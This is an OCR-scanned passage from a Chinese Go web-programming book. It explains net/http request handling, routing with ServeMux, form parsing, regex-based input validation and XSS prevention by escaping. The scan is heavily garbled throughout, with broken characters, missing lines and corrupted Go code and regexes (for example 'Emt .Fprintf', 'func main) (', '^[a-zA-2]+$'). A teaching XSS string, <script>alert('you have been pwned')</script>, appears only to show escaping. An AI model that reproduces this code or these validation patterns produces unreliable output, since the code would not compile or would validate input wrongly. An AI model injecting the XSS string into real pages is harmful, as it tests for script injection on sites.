Conn: 用 户 的 每 次 请 求 链接 。 
Handler: 处 理 请 求 和 生成 返回 信息 的 处 理 逻 辑 。 


分 析 http 包 运行 机 制 
Go 语言 实现 Web 服 务 的 工作 模式 的 流程 如 图 3.9 所 示 。 














|| Web Server 






read http header and body data 





write response to client 











图 3.9 http 包 执行 流程 


1. 创建 Listen Socket， 监 听 指 定 的 端口 ， 等 待 客户 端 请 求 到 来 。 

2. Listen Socket 接 受 客户 端的 请 求 ， 得 到 Client Socket， 接 下 来 通 
过 Client Socket 与 客户 端 通信 。 

3. 处理 客 户 端 ， 首 先 从 Client Socket 读 取 HTTP 请 
头 ， 如 果 是 POST 方 法 ， 还 可 能 要 读 取 客 户 端 提交 的 数据 ， 然 后 
应 的 handler 处 理 请 求 ，handler 处 理 完毕 准备 好 客户 端 需要 的 数据 ， 通 过 
Client Socket 写 给 客户 端 。 

整个 的 过 程 中 ， 我 们 只 要 了 解 清楚 下 面 三 个 问题 ， 也 就 知道 Go 语 
言 是 如 何 让 Web 运 行 起 来 了 。 

e 如何 监 听 端 口 ? 

。 ”如何 接收 客户 端 请 求 ? 

”如何 分 配 handler? 

从 前 面 小 节 的 代码 里 面 我 们 可 以 看 到 ，Go 语 言 是 通过 一 个 函数 来 
操作 这 个 事情 的 ListenAndServe 来 监听 的 ， 这 个 底层 其 实 这 样 处 理 的 : 
初始 化 一 个 server 对 象 ， 调 用 net Listen("tcp", addr)， 也 就 是 底层 用 TCP 














协议 搭建 了 一 个 服务 ， 然 后 监控 我 们 设置 的 端口 。 

监控 之 后 如 何 接收 客户 端的 请 求 昵 ?上面 代码 执行 监控 端口 之 后 ， 
调用 了 srv.Serve(net.Listener) 函 数 ， 这 个 函数 就 是 处 理 接收 客户 端的 请 求 
信息 。 这 个 函数 里 面 起 了 一 个 for{}， 首 先 通过 Listener 接 收 请 求 ， 其 次 
创建 一 个 Conn， 最 后 单独 开 了 一 个 goroutine， 把 这 个 请 求 的 数据 当做 参 
数 扔 给 这 个 conn 去 服务 : go c.serve()。 即 成 高 并 发 体现 ， 用 户 的 每 一 次 
请 求 都 是 在 一 个 新 的 goroutine 去 服务 ， 相 互 不 影响 。 

那么 如 何 具体 分 配 到 相应 的 函数 来 处 理 请 求 呢 ? conn 首 先 会 解析 
request:c.readRequest()， 然 后 获取 相应 的 handler:handler := 
c.server.Handler， 也 就 是 我 们 刚才 在 调用 函数 ListenAndServe 时 候 的 第 二 
个 参数 ， 我 们 前 面 例子 传递 的 是 nil， 也 就 是 为 空 ， 默 认 获取 handler = 










调用 了 http.HandleFunc("/", sayhelloName)。 这 个 作用 就 是 注 
路 由 规则 ， 当 请 求 uri 为 ""， 路 由 就 会 转 到 函数 
sayhelloName，DefaultServeMux 会 调用 ServeHTTP 方 法 ， 这 个 方法 内 部 
其 实 就 是 调用 sayhelloName 本 身 ， 最 后 通过 写 入 response 的 信息 反馈 到 
客户 端 。 

详细 的 流程 如 图 3.10 所 示 。 










ListenAndServe 接收 用 户 请 求 并 创建 连接 Conn 


监听 端 Doddr 


处 理 连接 
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图 3.10 一 个 http 连 接 处 理 流程 


至 此 ， 三 个 问题 已 经 全 部 得 到 了 解答 ， 你 现在 对 于 Go 语言 如 何 让 
Web 跑 起 来 是 否 已 经 有 基本 了 解 ? 


3.4 Go 语言 的 http 包 详解 


节 介绍 了 Go 语言 怎么 样 实 现 了 Web 工 作 模式 的 一 个 流程 ， 我 们 
将 在 本 节 详 细 解 剖 http 包 ， 看 它 到 底 怎样 实现 整个 过 程 。 
Go 语言 的 http 有 两 个 核心 功能 : Conn 和 ServeMux。 


Conn 的 goroutine 


与 我 们 一 般 编 写 的 http 服 务 器 不 同 ，Go 语 言 为 了 实现 高 并 发 和 高 性 


能 ， 使 用 goroutines 处 理 Conn 的 读 写 事件 ， 这 样 每 个 请 求 都 能 保持 独 
立 ， 相 互 不 会 阻塞 ， 以 高 效 响应 网 络 事件 。 这 是 Go 语言 高 效 的 保证 。 
Go 语言 在 等 待 客户 端 请 求 时 写 下 如 下 代码 。 
c, err := srv.newConn (rw) 
if err != nil { 









} 
go c.servel 


RIESI], 客户 端的 每 次 请 求 都 会 创建 一 个 Conn， 这 个 Conn 
里 面 保存 了 该 次 请 求 的 信息 ， 然 后 再 传递 到 对 应 的 handler， 该 handler 中 
便 可 以 读 取 到 相应 的 header 信 息 ， 以 保证 了 每 个 请 求 的 独立 性 。 












ServeMux 的 自 定义 











上 文 讲述 conn.server 时 ， 内 部 调用 了 http 包 默认 的 路 由 器 ， 通 过 路 由 
器 把 本 次 请 求 的 信息 传递 到 了 后 端的 处 理 函 数 。 那 么 这 个 路 由 器 是 怎么 
实现 的 呢 ? 
它 的 结构 如 下 。 


type ServeMux struct { 
my syne. RiMutex //#i, AER BREE, IOLRA -MN 
m map[string]muxEntry // 路 由 规则 ， 一 个 string 对 应 一 个 mux 实体 ， 这 里 的 
string 就 是 注册 的 路 由 表达 式 


} 
再 看 一 下 muxEntry。 
type muxEntry struct { 
expli ool // ERMA 
h dler // 这 个 路 由 表达 式 对 应 哪个 handler 


骇 着 看 一 下 handler 的 定义 。 


type Handler interface ( 
ServeHTTP (ResponseWriter, *Request) // 路 由 实现 器 


k 

handler 是 一 个 接口 ， 但 是 前 一 小 节 中 的 sayhelloName 函 数 并 没有 实 
现 ServeHTTP 这 个 接口 ， 为 什么 能 添加 呢 ? 原来 在 http 包 里 面 还 定义 了 
一 个 类 型 HandlerFunc， 我 们 定义 的 函数 sayhelloName 就 是 这 个 
HandlerFunc 调 用 之 后 的 结果 ， 这 个 类 型 默认 就 实现 了 ServeHTTP 这 个 接 
口 ， 即 我 们 调用 了 HandlerFunc(D， 类 似 强 制 类 型 转换 f 成 为 HandlerFunc 
类 型 ， 这 样 { 就 拥有 了 ServHTTP 方 法 。 














type HandlerFunc fune (ResponseWriter, *Request) 


// serveHTTP calls £(w, r). 


func (f HandlerFunc) ServeHTTP(w Responselriter, r “Request) { 
fw, x) 


路 由 器 里 面 存储 好 了 相应 的 路 由 规则 之 后 ， 具 体 的 请 求 又 是 怎么 分 
发 的 呢 ? 路 由 器 接收 到 请 求 之 后 调用 mux.handler(D.ServeHTTP(w, r)» 
也 就 是 调用 对 应 路 由 的 handler 的 ServerHTTP 接 口 ， 那 么 mux.handler(r) 怎 
么 处 理 的 呢 ? 

func (mux *ServeMux) handler(r *Request) Handler ( 

max mu ,RLock () 
defer mux.mu.RUnlock () 


// Bost-specific pattern takes precedence over generic ones 
h := mux.match(r.Host + r,URL.Path) 
if h == nil { 

h = mux.match (r.URL. Path) 





return h 


¥ 

原来 它 是 根据 用 户 请 求 的 URL 和 路 由 器 里 面 存储 的 map 去 匹配 的 ， 
当 匹 配 到 之 后 返回 存储 的 handler， 调 用 这 个 handler 的 ServHTTP 接 口 就 
可 以 执行 到 相应 的 函数 了 。 
通过 上 面 这 个 介绍 ， 我 们 了 解 了 整个 路 由 过 程 ，Go 语 言 其 实 支持 
部 实现 的 路 由 器 ListenAndServe 的 第 二 个 参数 就 是 用 以 配置 外 部 路 由 
器 的 ， 它 是 一 个 Handler 接 口 ， 即 外 部 路 由 器 只 要 实现 了 Handler 接 口 就 
te 我 们 可 以 在 自己 实现 的 路 由 器 的 ServHTTP 里 面 实现 自 定义 路 由 
功能 。 

如 下 代码 所 示 ， 我 们 自己 实现 了 一 个 简易 的 路 由 器 。 





= 





局 





Package main 


import ( 
"imt" 
“net/http” 
) 


type MyMux struct 1 
} 


func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { 


if r.URL.Path == */" { 
sayhelloName(w, x) 
return 


上 
http.NotFound(w, r) 
return 

} 


func sayhelloName(w http.ResponseWriter, r *http.Request) { 
Emt .Fprintf (w, "Hello myroute!") 

上 

func main) ( 


mux := sMyMux{} 
http. ListenAndServe(":9030", mux) 


代码 的 执行 流程 


通过 对 http 包 的 分 析 之 后 ， 现 在 让 我 们 来 梳理 一 下 整个 的 代码 执行 


1. 首先 调用 Http.HandleFunc， 按 顺序 做 如 下 操作 。 

。 调用 了 DefaultServerMux 的 HandleFunc。 

o 调用 了 DefaultServerMux 的 Handle。 

e 往 DefaultServeMux 的 map[string]muxEntry 中 增加 对 应 的 handler 
和 路 由 规则 。 


2. 其 次 调用 http.ListenAndServe(":9090", nil)， 按 顺序 做 如 下 操作 。 
实例 化 Server。 

调用 Server 的 ListenAndServe()。 

调用 net.Listen("tcp", addr) 监 听 端 口 。 

启动 一 个 for 循 环 ， 在 循环 体 中 Accept 请 求 。 

对 每 个 请 求实 例 化 一 个 Conn， 并 且 开 启 一 个 goroutine 为 这 个 请 





求 进行 服务 go c.serve()- 

o 读 取 每 个 请 求 的 内 容 w, err := c.readRequest(). 

o ”判断 handler 是 否 为 空 ， 如 果 没 有 设置 handler( 这 个 例子 就 没有 
设置 handler) ，handler 就 设置 为 DefaultServeMux。 

e 调用 handler 的 ServeHttp。 

。 在 这 个 例子 中 ， 下 面 就 进入 到 DefaultServerMux.ServeHttp。 

o 根据 request 选 择 handler， 并 且 进 入 到 这 个 handler 的 
ServeHTTP, 


mux.handler(r) .ServeHTTP (w, +) 


e 选择 handler: 

a. 判断 是 否 有 路 由 能 满足 这 个 request (循环 遍历 ServerMux 的 
muxEntry) 。 

b. 如 果 有 路 由 满足 ， 调 用 这 个 路 由 handler 的 ServeHttp。 

c， 如 果 没 有 路 由 满足 ， 调 用 NotFoundHandler 的 ServeHttp。 





35 ”总结 


这 一 章 我 们 介绍 了 HTTP 协 议 ，DNS 解 析 的 过 程 ， 如 何 用 Go 语言 实 
现 一 个 简陋 的 Web Server。 并 深入 到 net/http 包 的 源码 中 为 大 家 揭 开 实现 
此 server 的 秘密 。 

希望 通过 本 章 的 学 习 ， 读 者 能 够 对 Go 语言 开发 Web 有 初步 的 了 解 。 
A RRAN; Go 语言 开发 Web 非 常 方 便 ， 同 时 又 非常 灵 
Vite 





第 4 章 表 单 


表单 是 我 们 平常 编写 Web 应 用 常用 的 工具 ， 通 过 表单 我 们 可 以 让 客 
户 端 和 服务 器 方 便 地 进行 数据 的 交互 。 开 发 过 Web 的 用 户 对 表单 都 非常 
熟悉 ， 但 是 对 于 C/C++ 程序 员 来 说 ， 这 可 能 有 些 陌生 ， 那 么 什么 是 表单 
We? 

表单 是 一 个 包含 表单 元 素 的 区 域 。 表 单元 素 是 允许 用 户 在 表单 中 
(比如 文本 域 、 下 拉 列 表 、 单 选 框 、 复 选 杠 等 ) 输入 信息 的 元 素 。 表 
单 使 用 表单 标签 <form>) 定义 。 


eform> 

input 元 素 

</form 

Go 语言 里 面 对 于 form 处 理 已 有 很 方便 的 方法 ， 在 Request 里 面 有 专 
门 的 form 处 理 ， 便 于 整合 到 Web 开 发 里 面 来 ， 第 4.1 节 将 讲解 Go 语言 如 
何 处 理 表单 的 输入 。 由 于 不 能 信任 任何 用 户 的 输入 ， 所 以 我 人 这 
些 输入 进行 有 效 性 验证 ， 第 4.2 节 将 就 如 何 进行 一 些 普通 的 验证 进行 详 
细 的 演示 。 

HTTP 协 议 是 一 种 无 状态 的 协议 ， 那 么 如 何 才能 辨别 是 否 是 同一 个 
用 户 呢 ? 同时 又 如 何 保证 一 个 表单 不 出 现 多 次 递交 的 情况 呢 ? 第 4.3 和 
第 4.4 节 将 对 Cookie (Cookie 是 存储 在 客户 端的 信息 ， 能 够 每 次 通过 
header 和 服务 器 进行 交互 的 数据 ) 等 进行 详细 讲解 。 

表单 还 有 一 个 很 大 的 功能 就 是 能 够 上 传 文件 ， 那 么 Go 语言 是 如 何 
处 理 文件 上 传 的 呢 ? 针对 大 文件 上 传 我 们 如 何 有 效 的 处 理 呢 ? 第 4.5 节 
我 们 将 一 起 学 习 Go 语言 处 理 文件 上 传 的 知识 。 


4.1 处 理 表单 的 输入 


先 来 看 一 个 表单 递交 的 例子 ， 我 们 有 如 下 的 表单 内 容 ， 命 名 成 文件 
login.gtpl ( 放 入 当前 新 建 项 目的 目录 里 面 ) 。 











<html> 
<head> 
<citles</title> 
</head> 
<body> 
<form action="http://127.0.0.1:9090/login” method="post"> 
用 户 名 :<input type="text" name="username"> 
密码 :<input type="password" name="password"> 
<input type="submit" valuer" 登 陆 "> 
</form> 
</body> 


</html> 

递交 表单 到 服务 器 的 /login， 当 用 户 输 入 信息 点 击 登 陆 之 后 ， 会 跳 
转 到 服务 器 的 路 由 login 里 面 ， 我 们 首先 要 判断 这 个 由 什么 方式 传递 过 
来 ，POST 还 是 GET 呢 ? 

http 包 里 面 有 一 个 很 简单 的 方式 就 可 以 获取 ， 我 们 在 前 面 Web 的 例 
子 的 基础 上 来 看 看 怎么 处 理 login 页 面 的 form 数 据 。 


package main 











import ( 
“emt” 
“html/template" 
"log" 
“net /http™ 
“strings” 

) 


func sayhelloName(w http.ResponseWriter, r *http.Request) { 
r.ParseForm() /7 解析 url 传递 的 参数 ， 对 于 Post 则 解析 响应 包 的 主体 
(request body) 
// 注 意 :如 果 没 有 调用 ParseForm 方法 ， 下 面 无 法 获取 表单 的 数据 
fmt.Println(r-Form) // 这 些 信息 是 输出 到 服务 器 端的 打印 信息 
fmt.Printin("path", r.URL.Path) 
fmt .Printin("scheme", x.URL.Scheme) 
fmt .Printin(r.Form{"url_long"]) 
for k, v i= range r.Form { 
fmt .Printin("key:", k) 
fmt .Printin("val:", strings.Join(v, "")) 
} 
fmt.Fprintf (w, "Hello astaxie!") // 这 个 写 入 到 w 的 是 输出 到 客户 端的 








func login(w http.Responsewriter, r *http.Request) 1 
fmt.Printin("methed:", r.Method) /7 获取 请 求 的 方法 
i£ x.Method == "GET" { 


t, _ := template.ParseFiles("login.atpi") 
t.Execute(w, nil) 
} else 1 


AARE ERR, AAT 

fmt .Print in ("username: 

Emt .Print1n("password: 
} 





REIZEN 
-Form["username"]) 
-Form["password"]) 








上 


func maint) { 
http.HandleFunc("/", sayhelloName) /77 设置 访问 的 路 由 
http.HandleFunc("/login", login) 7/ 设置 访问 的 路 由 
err := http.ListenAndServe(":9090", nil) // 设 曲 监 听 的 端口 
if err != nil ( 
log.Fatal("ListenAndServe: ", err) 
} 


} 

通过 上 面 的 代码 我 们 可 以 看 出 获取 请 求 方法 是 通过 r.Method 来 完成 
i 这 是 个 字符 串 类 型 的 变量 ， 返 回 GET，POST，PUT 等 method 信 

我 们 根据 r.Method 来 判断 login 函 数 是 显示 登录 界面 还 是 处 理 登 录 逻 
辑 。 当 GET 方 式 请 求 时 显 界面 ， 如 : 其 他 方式 请 求 时 则 处 理 登 录 
逻辑 ， 如 查询 数据 库 、 验 

我 们 在 浏览 器 里 面 打开 http:/127， .0.1:90901ogin 时 ， 出 现 如 下 界 
面 。 


F [D 127.0.0.1:9090/10gin Ga 
if © få |D 127.0.0.1:9090/1ogin 














(è) 


图 4.1 用 户 登录 界面 


输入 用 户 名 和 密码 之 后 发 现在 服务 器 端 不 会 打印 出 来 任何 输出 ， 为 
什么 呢 ? 默认 情况 下 ，Handler 里 面 不 会 自动 解析 form， 必 须 显 式 地 调用 
r.ParseForm() 后 ， 你 才能 对 | 这 个 表单 数据 进行 操作 。 我 们 修改 一 下 代 
码 ， 在 fmt.Println("username:" rm["username"]) 之 前 加 一 
r.ParseForm(), 编译 ， 再 次 测试 输入 递交 ， 在 服务 器 端 就 输出 你 所 
输入 的 用 户 名 和 密码 了 。 

r.Form 里 面包 含 了 所 有 请 求 的 参数 ， 比 如 URL 中 query-string、POST 















的 数据 、PUT 的 数据 ， 当 你 在 URL 的 query-string 字 段 和 POST 冲突 时 ， 
会 保存 成 一 个 slice， 里 面 存储 了 多 个 值 ，Go 语 言 官方 文档 中 说 在 接 下 来 
的 版 本 中 将 会 把 OST、GET 这 些 数据 分 离开 来 。 

现在 我 们 把 login.gtpl 里 面 form 的 action 值 http:/127.0.0.1:9090/login 修 
改 为 http:/127.0.0.1:9090/login?username=astaxie， 再 次 测试 ， 服 务 器 的 
输出 username 不 是 一 个 slice。 服 务 器 端的 输出 如 图 4.2 所 示 。 








图 4.2 ”服务 器 端 打印 接受 到 的 人 






request.Form 是 一 个 url.Values 类 型 ， 里 面 存储 着 对 应 的 类 似 
key=value 的 信息 ， 下 面 展示 了 可 以 对 form 数 据 进行 的 一 些 操作 。 





// v,Bncode() == "name=Avasfriend=Jesstfriend=Sarahsfriend=Zoe" 
fmt .Print1n(v.Get ("name")) 

fmt .Printin(v.Get ("Eriend")) 

fmt .Print1n(v{"£riend"}} 


iE: Request: Ky 也 提供 了 FormValue0 函 数 来 获取 用 户 提交 的 参 
数 。 如 r.Form["username"] 也 可 写成 r.FormValue( ("username" ae 调用 
rFormValue 时 会 自动 调用 r Preta, 所 以 不 必 提 前 调用 。r.FormValue 
只 会 返回 同名 参数 中 的 第 一 BACKER Tee 





4.2 验证 表单 的 输入 


， 不 能 信任 用 户 输入 的 任何 信息 ， 所 以 验 
变 得 非常 重要 ， 我 们 经 常 在 微 博 、 新 闻 中 听 
enom 这 些 大 多 是 因为 网 站 对 于 用 户 输 








开发 Web 的 一 个 原 
证 和 过 滤 用 户 的 输入 作 
到 某 某 网 站 被 入 侵 了 ， 








Re 


们 平常 编写 Web 应 用 主要 有 两 方面 的 数据 验证 ， 一 方面 是 在 页 面 
端的 js 验证 《目前 在 这 方面 有 很 多 的 插件 库 ， 比 如 ValidationJS 插 件 ) ， 


另 一 方面 是 在 服务 器 端的 验证 ， 本 节 将 讲解 如 何在 服务 器 端 验证 。 
必 填 字段 


你 想 要 确保 从 一 个 表单 元 素 中 得 到 一 个 值 ， 例 如 前 面 小 节 里 面 的 用 
户 名 ， 我 们 如 何 处 理 呢 ? Go 语言 有 一 个 内 置 函 数 len 可 以 获取 字符 串 的 
长 度 ， 这 样 我 们 就 可 以 通过 len 来 获取 数据 的 长 度 ， 例 如 下 所 示 。 

if len(r.Form["username"] [0])==0{ 

ere eee 


$ 

rForm 对 不 同类 型 的 表单 元 素 的 留 空 有 不 同 的 处 理 ， 对 于 空 文本 
框 、 空 文本 区 域 及 文件 上 传 ， 元 素 的 值 为 空 值 ， 而 如 果 是 未 选中 的 复 选 
框 和 单 选 按钮 ， 则 根本 不 会 在 "Form 中 产生 相应 条 目 ， 如 果 我 们 用 上 面 
例子 中 的 方式 去 获取 数据 时 程序 就 会 报错 。 所 以 我 们 需要 通过 
r.Form.Get() 来 获取 值 ， 因 为 如 果 字 段 不 存在 ， 通 过 该 方式 获取 的 是 空 
值 。 但 是 通过 rForm.GetO 只 能 获取 单个 的 值 ， 如 果 是 map 的 值 ， 必 须 通 
过 上 面 的 方式 来 获取 。 


数字 


你 想 要 确保 一 个 表单 输入 框 中 获取 的 只 能 是 数字 ， 例 如 ， 通 过 表单 
获取 某 个 人 的 具体 年 龄 是 50 岁 还 是 10 岁 ， 而 不 是 像 “一 把 年 纪 了 ?或 “年 
轻 着 呢 ? 这 种 描述 。 

如 果 我 们 判断 是 正 整 数 ， 那 么 先 转化 成 int 类 型 ， 然 后 进行 处 理 。 

get int, err:=strconv.Atoi (x.Porm.Get ("age") ) 


if err!=nil{ 


JRA T, S82 1 HRA 





2 


7/ 接 下 来 就 可 以 判断 这 个 数字 的 大 小 范围 了 
if getint >100 { 
MART 


还 有 一 种 方式 就 是 正则 匹配 的 方式 。 

if m, _ := regexp.MatchString("*[0-9]+$", r.Form,.Get ("age"}); !m { 

} 

对 于 性 能 要 求 很 高 的 用 户 来 说 ， 这 是 一 个 老生 常 谈 的 问题 了 ， 他 们 
认为 应 该 尽量 避免 使 用 正则 表达 式 ， 内 为 使 用 正则 表达 式 的 速度 比较 


慢 。 但 是 在 目前 机 器 性 能 那么 强劲 的 情况 下 ， 对 于 这 种 简单 的 正则 表达 
式 效率 和 类 型 转换 函数 是 没有 什么 差别 的 。 如 果 你 对 正则 表达 式 很 部 
悉 ， 而 且 你 在 其 他 语言 中 也 在 使 用 它 ， 那 么 在 Go 语言 里 面 使 用 正则 表 
达 式 将 是 一 个 便利 的 方式 。 

Go 语言 实现 的 正则 是 RE2 (谷歌 公司 设计 的 一 个 快捷 、 安 全 和 线程 
友好 的 正则 表达 式 引擎 ) ， 所 有 的 字符 都 是 UTF-8 编 码 的 。 





中 文 


有 时 候 我 们 想 通 过 表单 元 素 获取 一 个 用 户 的 中 文 名 字 ， 但 是 又 为 了 
保证 获取 的 是 正确 的 中 文 ， 我 们 需要 进行 验证 ， 而 不 是 用 户 随便 的 一 
输入 。 对 于 中 文 我 们 目前 有 效 的 验证 只 有 正则 方式 来 验证 ， 如 
全 if m, := regexp.MatchString ("*[\\x(4e00}-\\x(9fa5}I1+$", 
r.Form.Get |" realnamen Ve tm { 

return false 
ji 


英文 


我 们 期 望 通过 表单 元 素 获取 一 个 英文 值 ， 例 如 我 们 想 知 道 一 个 用 户 

的 英文 名 ， 应 该 是 astaxie， 而 不 是 asta 谢 。 

我 们 可 以 很 简单 的 通过 正则 验证 数据 。 

ifm, _ := regexp.MatchString ("*[a-zA-2]+$", r.Form.Get ("engname")); !m { 
return false 

+ 


电子 邮件 地 址 


你 想 知道 用 户 输入 的 一 个 E-mail 地 址 是 否 正确 ， 通 过 如 下 这 个 方式 











m 





可 以 





m, _ := regexp.MatchString(*~({\w\.\_]{2,10})@(\w(1,}).(fa-z]{2,4))8", 
x.Form.Get ("email")); !m { 
fmt -Printin ("no") 
lelsel 
fmt .Println ("yes") 





由 


机 号 码 
你 想 要 判断 用 户 输入 的 手机 号 码 是 否 正确 ， 通 过 正则 也 可 以 验证 。 


if m _ := regexp.Matchstringf^(ll3141518]10-9] \d{4,8)) $°, 
r.Form.Get ("mobile")); !m { 
return false 
} 


FARA 


如 果 我 们 想 要 判断 表单 里 面 <select> 元 素 生成 的 下 拉 菜 单 中 是 否 有 
被 选中 的 项 目 。 有 些 时 候 黑客 可 能 会 伪造 这 个 下 拉 菜 单 不 存在 的 值 发 送 
给 你 ， 那 么 如 何 判断 这 个 值 是 否 是 我 们 预 设 的 值 呢 ? 

我 们 的 select 可 能 是 这 样 的 一 些 元 素 。 


<select na 
<option va 
<option ve 
<option va 
</select> 
那么 我 们 可 以 这 样 来 验证 。 


slice:=[]string{"apple", "pear", "banane"} 





TER 








# apple’ /opeiony 
>pear</option> 
"tbanane" sbanane</aption> 





for 





= range slice { 
if v == r.Form.Get ("fruit") { 
return true 
上 
} 


return false 
上 面 这 个 函数 包含 在 笔者 一 个 开源 的 库 〈 操 作 slice 和 map 的 库 ) , 
https://github.com/astaxie/beeku 之 中 。 


站 选 按钮 


如 果 我 们 想 要 判断 radio 按 钮 是 否 有 一 个 被 选中 了 ， 我 们 页 面 的 输出 
可 能 就 是 一 人 但 是 也 可 能 一 个 15 岁 大 的 无 聊 小 孩 ， 一 
手 拿 着 http 协 议 的 书 ， 另 一 只 手 通过 telnet 客 户 端 向 你 的 程序 在 发 送 请 
求 ， 你 设 定 的 性 别 另 值 是 1， 女 是 2， 他 给 你 发 送 一 个 3， 你 的 程序 会 出 
现 异 常 吗 ? 因此 我 们 也 需要 像 下 拉 菜 单 的 判断 方式 类 似 ， 判 断 我 们 获取 
的 值 是 我 们 预 设 的 值 ， 而 不 是 额外 的 值 。 


In 








<input type="radio" name="gender" value-"i"> 男 
<input type="radio" name="gendez" value-"2"> 女 
AFR HLT UROL F Re HAE FE- 


slice:=[Jint (1,2) 


for >» range slice { 
-Form.Get ("gender") { 









return false 
复 选 框 


有 一 项 选择 兴趣 的 复 选 框 ， 你 想 确定 用 户 选中 的 和 你 提供 给 用 户 选 
择 的 是 同一 个 类 型 的 数据 。 







etball ny 入 球 
e="tennis"> RIER 
， 因 为 接收 到 的 数据 是 一 





I PERRIS AL 选 有 点 不 
个 slice。 


slice:=[]stving{* football", "basketball", "tennis" ] 
3 ice_diff (r.Form["interest"], slice) 
if a == nil{ 

return true 


} 





return false 
期 和 时 间 


你 想 确 定 用 户 填写 的 日 期 或 时 间 是 否 有 效 。 例 如 ， 用 户 在 日 程 表 中 
安排 8 月 份 的 第 15 天 开会 ， 或 者 提供 未 来 的 某 个 时 间作 为 生日 。 

Go 语言 里 面 提供 了 一 个 time 的 处 理 包 ， 我 们 可 以 把 用 户 的 输入 年 月 
日 转化 成 相应 的 时 间 ， 然 后 进行 逻辑 判断 

t i= time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) 
fmt.Printf£("Go launched at ts\n", t.Local()) 


timez ERATA EOD REE EIR ORE 具体 的 判断 就 
根据 自己 的 需求 调整 。 

















身份 证 号 码 


如 果 我 们 想 验证 表单 输入 的 是 否 是 身份 证 ， 通 过 正则 也 可 以 方便 地 

， 但 是 身份 证 有 15 位 和 18 位 ， 我 们 需要 两 个 都 验证 。 

7/ 验 证 15 位 身份 证 ，15 位 的 是 全 部 数字 

if m, _ := regexp.MatchSstring(*^(\d{15})$', r.Form.Get ("usercard")); !m { 
return false 

} 





/7 验证 18 位 身份 证 ，18 位 前 17 位 为 数字 ， 最 后 一 位 是 校 验 位 ， 可 能 为 数字 或 字符 x。 
if om := regexp.Matchstring(**(\d(17}) ([0-9]|x)$*,  r.Form.Get 


("usercard")); tm 1 
return false 
于 面 列 出 了 我 们 常用 的 一 些 服务 器 端的 表单 元 素 验 证 ， 希望 通过 这 
个 引导 入 门 ， 能 够 让 你 对 Go 语言 的 数据 验证 有 所 了 解 ， 特 别 是 Go 语言 
里 面 的 正则 处 理 。 


4.3 预防 跨 站 脚本 


现在 的 网 站 包含 大 量 的 动态 内 容 以 提高 用 户 体验 ， 比 过 去 要 复杂 得 
多 。 所 谓 动态 内 容 ， 就 是 根据 用 户 环境 和 需要 ，Web 应 用 程序 能 够 输出 
相应 的 内 容 。 动 态 会 受到 一 种 名 为 “ 跨 站 脚本 攻击 ”(Cross Site 
Scripting， 安 全 专家 们 通常 将 其 缩写 成 XSS) 的 威胁 ， 而 静态 站 点 则 完 
全 不 受 其 影响 。 

攻击 者 通常 会 在 有 漏洞 的 程序 中 插入 JavaScript、VBScript、 
ActiveX 或 Flash 以 欺骗 用 户 。 一 旦 得 手 ， 他 们 可 以 和 盗 取 用 户 账户 信息 ， 
修改 用 户 设置 ， 资 取 /污染 Cookie 和 植 入 恶意 广告 等 

对 XSS 最 佳 的 防护 应 该 结合 以 下 两 种 









一 是 验证 所 有 输入 数 
据 ， 有 效 检 测 攻击 (这 个 我 们 前 面 小 节 已 经 有 过 介绍 ) ; 另 一 个 是 对 所 
有 输出 数据 进行 适当 的 处 理 ， 以 防止 任何 已 成 功 注入 的 脚本 在 浏览 器 端 
运行 。 

那么 Go 语言 是 怎么 做 这 个 有 效 防 护 的 呢 ? Go 语言 的 htmltemplate 有 
以 下 几 个 函数 可 以 帮 你 转 义 。 

e func HTMLEscape(w io.Writer, b []byte) /把 b 进 行 转 义 之 后 写 到 





w 


串 


© func HTMLEscapeString(s string) string // 转 义 s 之 后 返回 结果 字符 


© func HTMLEscaper(args ...interface{}) string /支持 多 个 参数 一 起 
我 们 看 第 4.1 节 的 例子 如 下 。 
fmt .Printin ("asername:", 
template .HTMLEscapeString(r.Form.Get ("username"))) // 输 出 到 服务 器 端 
fmt .Print1n ("password: 
template.HIMLEScapeString (r.Form.Get ("password") )) 
template.HTMLEscape (tw, []byte(r.Form.Get ("username"))) /7 输出 到 客户 端 
如 果 我 们 输入 的 username 是 <script>alert()</script>， 那 么 我 们 可 以 
在 浏览 器 上 面 看 到 输出 如 图 4.3 所 示 。 


e © ff D 127.0.0.1:9090/1ogin 














&lt:scriptågt:alert ()&lt :/scriptågt : 
图 4.3 Javascript 过 滤 之 后 的 输出 


Go 语言 的 htmltemplate 包 默认 帮 你 过 滤 了 html 标 签 ， 但 是 有 时 候 你 
只 想 要 输出 这 个 <script>alert()</script> 看 起 来 正常 的 信息 ， 该 怎么 处 
理 ? 请 使 用 texttemplate。 请 看 下 面 的 例子 。 


import "text/template" 








t, err := template.New("fo0") .Barse( ({define "T"}}Hello, {{.}}!{fend}}") 

err t.ExecuteTemplate(out, "T", “<script>alert('you have been 
pwned') </script>") 

输出 : 

Hello, <script>alert ("you have been pwned')</seript>! 

或 者 使 用 template.HTML 类 型 : 


import "html/template™ 





i= template.New("£00") Parse (` {{define "I"}}Hello, {{.H)!{(end}}") 
ExecuteTemplate (out, "T", template. HTML ("<script>alert ('you have 
been pwned')</script>")) 


输出 : 

Hare seript>alert ("you have been pwned')</script>! 
转换 成 template.HTML 后 ， 变 量 的 内 容 也 不 会 被 转 义 。 
转 义 的 例子 如 下 。 


import "html/template" 








t, err 


vemplate New ("foo") Parse (*({define "I"})}Hello, {(.))!{{end}]") 
err t.ExecuteTemplate(out, "T", "<script>alert('you have been 
pwned’) </script>") 
‘eas 
转 义 之 后 输出 : 





Hello, slt;scriptagt;alert (s#39;you have been pwneds#39;)alt;/scriptact; ! 


TEs 


4.4 BRIE UAC 


不 知道 你 是 否 曾经 看 到 过 论坛 或 者 博客 ， 某 个 帖子 或 者 文章 后 面 出 

现 多 条 重复 的 记录 ， 多 是 因为 用 户 重复 递交 了 留言 的 表单 所 引起 。 由 于 
种 种 原因 ， 用 户 经 常会 重复 递交 表单 。 这 可 能 是 鼠标 的 误 操 作 ， 如 双击 
了 递交 按钮 ， 也 可 能 是 为 了 编辑 或 者 再 次 核对 填写 过 点 击 了 浏 
览 器 的 后 退 按钮 ， 然 后 又 再 次 点 击 了 递交 按钮 而 不 是 浏览 器 的 前 进 按 

bi 也 可 能 是 故意 的 一 一 比如 ， 在 某 项 在 线 调查 或 者 博彩 活动 中 
。 我 们 该 如 何 有 效 地 防止 用 户 多 次 递交 相同 的 表单 呢 ? 
解决 方案 是 在 表单 中 添加 一 个 带 有 唯一 值 的 隐藏 字段 。 在 验证 表单 
